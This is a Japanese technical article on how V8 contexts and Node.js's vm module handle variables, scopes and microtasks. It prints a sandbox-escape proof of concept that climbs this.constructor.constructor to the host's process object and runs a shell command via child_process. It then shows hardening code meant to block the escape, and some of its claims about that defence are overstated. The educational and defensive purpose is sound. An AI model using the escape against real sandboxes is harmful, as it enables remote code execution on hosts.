1. V8ランタイムにおける「Context」の正体と変数の物理的配置
JavaScriptの変数は単なる「名前と値のペア」ではない。V8エンジン内部において、変数の宣言と参照はメモリ空間における物理的なオフセット指定、あるいはスコープオブジェクト(`Context`)内のスロット割り当てに他ならない。
Node.jsの `vm` モジュールを正しく理解するには、まずV8内部における `v8::Isolate` と `v8::Context` の決定的な相違点を把握する必要がある。
+——————————————————————-+
| v8::Isolate (ヒープメモリ / GC / JITコンパイラの管理単位) |
| |
| +—————————+ +—————————+ |
| | v8::Context (Host) | | v8::Context (VM) | |
| | – Global Object | | – Global Object | |
| | – Built-in Prototypes | | – Built-in Prototypes | |
| | (Object, Array, etc.) | | (Object, Array, etc.) | |
| +—————————+ +—————————+ |
+——————————————————————-+
- `v8::Isolate`: V8インスタンスの完全な隔離単位。独自のヒープメモリ領域を持ち、ガベージコレクタ(GC)やTurbofan/Ignitionパイプラインを単一スレッド上で駆動させる。
- `v8::Context`: 単一の `v8::Isolate` 内部に作られる「実行環境の区切り」。固有のグローバルオブジェクト(`globalThis`)と、標準組み込みオブジェクト(`Object.prototype` や `Array.prototype` 等の組み込みコンストラクタ群)のインスタンス集合を保持する。
Node.jsの `vm.createContext()` が実行されたとき、V8レベルでは新しい `v8::Context` が生成される。しかし、それは同一の `v8::Isolate` の内部で動作していることに注意しなければならない。ヒープ領域自体は共有されているのだ。
変数宣言(var / let / const)とスコープの物理的表現
V8のバイトコードインタプリタ(Ignition)は、スコープを以下のように処理する。
1. スクリプトレベルの `var`:
`vm` 内で実行されたコードのトップレベルにおける `var` 宣言は、コンテキストのグローバルオブジェクト(Global Proxy経由の実体オブジェクト)のプロパティとして動的に定義される。これは物理的にはハッシュテーブル(Dictionary Mode)への書き込みとなる。
2. トップレベルの `let` / `const`:
通常のモジュール(ESM/CJS)では `ScriptContext` と呼ばれる特殊なV8コンテキストスロット(配列)にインデックスアクセス(物理的なメモリ領域への直列アクセス)として配置される。しかし、`vm` コンテキストの直下で実行された場合、グローバルオブジェクトのプロパティとしては露出せず、コンテキスト固有の最上位レキシカルスコープに閉じ込められる。
また、`let` や `const` に関連する TDZ(Temporal Dead Zone: 一時的死域) は、V8内部では初期化前スロットに `TheHole` と呼ばれるセンチネルオブジェクトを割り当てることで表現される。Ignitionバイトコードは、変数リード時にそのスロットが `TheHole` であるかを検証し、そうであれば `ReferenceError` を即座に発出(Throw)する。
—
2. Node.js `vm` モジュールのコンテキスト分離とスコープ管理の真実
`vm` モジュールが提供するサンドボックス構造の内部挙動をコードとともに検証する。
スコープ分離とTDZの動作検証
const vm = require(‘node:vm’);
// ホスト側のグローバル変数
global.hostVar = ‘HOST_GLOBAL’;
// 1. サンドボックス(コンテキストのベース)の作成
const sandbox = {
outerVar: ‘SANDBOX_PROP’,
};
// 2. vmコンテキストの生成 (内部で v8::Context::New() が呼ばれる)
const context = vm.createContext(sandbox);
const code = `
// トップレベル var は sandbox オブジェクトのプロパティに同期される
var vmVar = ‘VM_VAR’;
// トップレベル let は VM 内部の LexicalScope (ScriptContext) に配置される
let vmLet = ‘VM_LET’;
// TDZの検証
try {
let tdzTest = tdzVar;
} catch (e) {
// V8は TheHole チェックにより ReferenceError を投げる
console.log(‘[VM Exception]:’, e.message);
}
let tdzVar = ‘INITIALIZED’;
// ホストのグローバル領域へ直接アクセスできないことを確認
const isHostVarUndefined = (typeof hostVar === ‘undefined’);
// 実行結果を戻り値として返す
({
vmVar,
vmLet,
isHostVarUndefined
});
`;
// 3. コンテキスト内でのスクリプトコンパイルと実行
const result = vm.runInContext(code, context);
console.log(‘実行結果:’, result);
console.log(‘Sandboxオブジェクトの状態:’, sandbox);
/ 実行結果:
[VM Exception]: Cannot access ‘tdzVar’ before initialization
実行結果: { vmVar: ‘VM_VAR’, vmLet: ‘VM_LET’, isHostVarUndefined: true }
Sandboxオブジェクトの状態: { outerVar: ‘SANDBOX_PROP’, vmVar: ‘VM_VAR’ }
/
`sandbox` オブジェクトに `vmVar`(`var` で宣言された変数)が物理的に書き込まれている一方、`vmLet`(`let` で宣言された変数)は `sandbox` のキーとして露出していない点に注目されたい。`let`/`const` は `v8::Context` に紐づくスコープチェーン(`ScriptContext`)上にメモリ確保されるため、外部のJavaScriptオブジェクト表現からは不可視となる。
JITコンパイラ(Turbofan)とインラインキャッシュ(IC)の破綻
V8は、オブジェクトのプロパティアクセスを高速化するために 隠しクラス(Shape / Map) と インラインキャッシュ(IC) を利用する。
しかし、`vm.createContext()` に与えられた `sandbox` オブジェクトは、V8内部で通常のFast Properties(固定オフセット構造)から Dictionary Mode(辞書モード) へ強制的に降格されるか、あるいは動的にプロパティが追加・削除される「グローバルプロキシ」として扱われる。
そのため、`vm` 内部でのグローバル変数アクセスはICの最適化が利きにくく、Turbofanによる最適化コード生成(JITコンパイル)においても、メモリアクセスのインライン化が阻害される。パフォーマンス・クリティカルなループ処理を `vm` 内で動的実行させる場合、この構造的オーバーヘッドがボトルネックとなる。
—
3. マイクロタスクとイベントループを跨ぐコンテキスト境界の崩壊
多くの開発者が陥る致命的な誤解は、「`vm.runInContext()` で実行したコードは、その関数の実行が終われば完全にサンドボックスに閉じ込められる」というものだ。
V8の `v8::MicrotaskQueue`(マイクロタスクキュー) と Node.jsの Event Loop は、コンテキストの物理的な境界を容易に越境する。
PromiseとMicrotask Queueによるコンテキスト境界突破の実験
以下のコードは、`vm` 内部で生成された Promise が、ホスト側の非同期コンテキストを汚染・脱出する挙動を示す。
const vm = require(‘node:vm’);
const sandbox = {
// ホスト側からコールバックを受け取る口を用意する
registerCallback: null,
};
const context = vm.createContext(sandbox);
const code = `
let resolvePromise;
const leakPromise = new Promise((resolve) => {
resolvePromise = resolve;
});
// ホスト側に Promise を解決する関数を晒す
registerCallback((val) => {
resolvePromise(val);
});
// VM内のMicrotask領域で実行されるチェーン
leakPromise.then((data) => {
// このアロー関数が保持する [[Context]] は VM 内のコンテキストである
console.log(‘[VM Microtask Executed]’);
console.log(‘Data passed from host:’, data);
// VM側のプロトタイプを取得してみる
return data.constructor.name;
});
`;
vm.runInContext(code, context);
// ホスト側からVM内のクロージャを呼び出し、PromiseをResolveする
console.log(‘[Host] Registering callback and resolving Promise…’);
sandbox.registerCallback({ hostPayload: ‘CRITICAL_DATA’ });
// イベントループのMicrotaskを消化させる
process.nextTick(() => {
console.log(‘[Host] Event loop microtask processed.’);
});
何が起きているのか?(低レイヤの解説)
1. `new Promise` の初期化時、V8はそのPromiseオブジェクトおよび `.then()` に渡されたハンドラ(`Function`)に、現在アクティブな `v8::Context` へのポインタをバインドする(`v8::Function::GetCreationContext()`)。
2. ホスト側から `resolvePromise` が発火されると、そのハンドラ関数は `v8::MicrotaskQueue` にエンキューされる。
3. Node.jsのメインイベントループがマイクロタスクキューを消化する際、V8は一時的にコンテキストをVM側の `v8::Context` へスイッチしてタスクを実行する。
このメカニズムにより、ホスト側の非同期処理とVM側の非同期処理が同一のイベントループ構造を共有している ことが明確になる。コンテキストは隔離されていても、イベントループとタスクキューは単一の `v8::Isolate` 内で完全に一元管理されているのだ。
—
4. サンドボックス脱出(Sandbox Escape):プロトタイプ汚染からRCEへ
Node.js公式ドキュメントには明確にこう記されている:
> “The `vm` module is not a security mechanism. Do not use it to run untrusted code.”
なぜ `vm` はセキュリティバウンダリになり得ないのか。その本質的な理由は、JavaScriptのプロトタイプ継承構造とコンストラクタの連鎖に存在する。
サンドボックス脱出の基本メカニズム
VM内で生成されたすべてのオブジェクトは、VMコンテキスト内の `Object.prototype` を持っている。しかし、VM外部から注入されたオブジェクトや関数、あるいは例外(Error)を介して、「ホスト側の `Object.prototype` や `Function` コンストラクタ」 にアクセスされた瞬間、サンドボックスは完全に破綻する。
以下は、最小限のサンドボックス脱出と Remote Code Execution (RCE) の概念実証 (PoC) コードである。
const vm = require(‘node:vm’);
// 一見すると何も与えられていない真っ新なサンドボックス
const sandbox = {};
const context = vm.createContext(sandbox);
// 悪意のあるコード: プロトタイプチェーンを遡り、ホストの Function コンストラクタを奪取する
const maliciousCode = `
// 1. VM内の適当なオブジェクト(あるいは関数)の constructor を取得
// 2. その constructor (Function) の constructor は、ホスト側の Function コンストラクタそのものになり得る
// 3. あるいは、this (Global) の constructor 経由で最上層にアクセスする
const ForeignFunction = this.constructor.constructor;
// ホスト側の process モジュールを要求し、任意コード実行(RCE)を達成
const processObj = ForeignFunction(‘return process’)();
// 例として child_process から ‘whoami’ を同期実行させる
const childProcess = processObj.mainModule.require(‘child_process’);
const output = childProcess.execSync(‘whoami’).toString();
output;
`;
try {
const leakedResult = vm.runInContext(maliciousCode, context);
console.log(‘[RCE Successful] Current User:’, leakedResult);
} catch (e) {
console.error(‘[Attack Failed]:’, e);
}
なぜ `this.constructor.constructor` で脱出できるのか?
[VM Scope Global Proxy (this)]
|
v .constructor
[VM Object Function]
|
v .constructor
[Host Context’s Root Function Constructor] —> Function(‘return process’)()
|
v
[Host process Object]
|
v
[child_process.execSync()]
1. VM内の `this`(グローバルオブジェクト)の `constructor` プロパティを参照すると、コンテキスト生成時に割り振られた `Object` コンストラクタ関数が取得できる。
2. この `Object` 関数の `constructor`(関数のコンストラクタ)を辿ると、V8エンジン全体の関数生成を司るルートの `Function` コンストラクタ に到達する。
3. この `Function` コンストラクタに文字列としてコード(`return process`)を流し込んで実行させると、ホスト側のグローバルスコープでコードが評価され、ホストの `process` オブジェクトが奪取される。
4. `process.mainModule.require`(または Node.js 内部バインディング)を呼ぶことで、OSの任意のコマンドが実行可能になる。
プロトタイプ汚染(Prototype Pollution)攻撃がVM内で発生した場合も同様である。`Object.prototype` が汚染されると、ホスト側から渡された単一の参照を足がかりにプロトタイプチェーンを遡られ、容易に `v8::Context` の壁を突破される。
—
5. 究極の堅牢性を目指して:安全なVM隔離アーキテクチャの設計
単体テスト実行エンジンや設定ファイルの安全な評価など、どうしてもNode.js内でサンドボックス構造を組む必要がある場合、どのような防御陣形を構築すべきか。
解決策は2つ存在する。
1. `isolated-vm` などの Native Addon を採用し、`v8::Isolate` レベルで完全隔離する。
2. Standard Node.js `vm` を極限まで無毒化(Hardening)して運用する。
ここでは、後者の「標準 `vm` モジュールにおける極限の多重防御設計」を実践コードで示そう。
堅牢化されたサンドボックス実装パターン
const vm = require(‘node:vm’);
function createSecureSandbox(evalCode, userContext = {}) {
// 1. プロトタイプを持たないヌル・オブジェクトとしてサンドボックスのベースを作成
const sandbox = Object.create(null);
// 2. ユーザーが与えたコンテキストを安全にコピー(Shallow FreezeまたはDeep Freezeを推奨)
Object.assign(sandbox, userContext);
// 3. コンテキストを生成
const context = vm.createContext(sandbox, {
codeGeneration: {
strings: false, // eval() や new Function() の動的コード生成をV8レベルで不許可にする
wasm: false, // WebAssemblyのコンパイルも禁止
}
});
// 4. サンドボックス内の組み込みオブジェクトのプロトタイプを無毒化・凍結するスクリプト
const hardeningScript = new vm.Script(`
// グローバルオブジェクトのコンストラクタ参照を破棄
delete globalThis.constructor;
// 基本プロトタイプの凍結 (Prototype Poisoning / Escalation の防止)
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
Object.freeze(Error.prototype);
// 不要なグローバル関数・識別子の削除
delete globalThis.eval;
delete globalThis.Function;
`);
hardeningScript.runInContext(context);
// 5. タイムアウト値(CPUリソース枯渇攻撃対策)を設定してコードを実行
const options = {
timeout: 100, // 100msで強制終了(無限ループ対策)
displayErrors: true,
};
const script = new vm.Script(evalCode);
return script.runInContext(context, options);
}
// ————————————————–
// 検証: 防御ラインのテスト
// ————————————————–
// アタックテスト1: new Function による脱出試行
try {
createSecureSandbox(`
const Fn = this.constructor.constructor;
Fn(‘return process’)();
`);
} catch (e) {
console.log(‘[Defense 1 Success]:’, e.message);
// Code generation from strings disallowed for this context
}
// アタックテスト2: 無限ループによるDoS攻撃試行
try {
createSecureSandbox(`
while(true) {}
`);
} catch (e) {
console.log(‘[Defense 2 Success]:’, e.message);
// Script execution timed out.
}
アーキテクチャ解説:多重防御の要
1. `codeGeneration: { strings: false }`:
V8の機能であり、コンテキスト内での `eval()` や `new Function()` の評価をC++レイヤーで無効化する。これにより、仮に `Function` コンストラクタへの参照を取得されたとしても、文字列からのコード生成および実行を物理的に阻止する。
2. `Object.freeze(.prototype)`:
コンテキスト内部の標準プロトタイプをすべて凍結する。これにより、プロトタイプ汚染によってホスト側から読み込まれるオブジェクトの挙動を書き換える攻撃(Prototype Poisoning)を無力化する。
3. `timeout` オプションの設定:
VMコードの評価はホストと同一のスレッド(Single Thread)で実行されるため、VM内の `while(true)` はホストプロセス全体のイベントループを完全停止させる。V8にタイマー割り込みを設定し、ミリ秒単位で強制終了させる処理が絶対に不可欠となる。
—
結論
Node.jsの `vm` モジュールは、JavaScriptの「スコープ」「変数」「プロトタイプ」がV8エンジン内部でどのように管理され、メモリ空間に物理配置されているかを学ぶための究極の教材である。
- 変数(`var`, `let`, `const`)の物理的挙動は、`v8::Context` のスコープスロットおよびグローバルオブジェクトの構造体によって変化する。
- `vm` は単一の `v8::Isolate` 上で動作するため、イベントループやマイクロタスクキュー、そして JavaScript のプロトタイプチェーンを介して、コンテキストの境界は容易に曖昧化する。
- 信頼できないサードパーティ・コードの実行においては、単なる `vm` モジュールに依存せず、`v8::Isolate` 単位でメモリ領域を分断するネイティブ拡張(`isolated-vm`)の利用、あるいは gVisor / WebAssembly などの低レイヤサンドボックス技術の導入 を真のセキュリティ境界として検討すべきである。
ランタイムの深層を知ることで初めて、我々は攻撃者の視点を獲得し、真に堅牢なJavaScriptアーキテクチャを構築することが可能になる。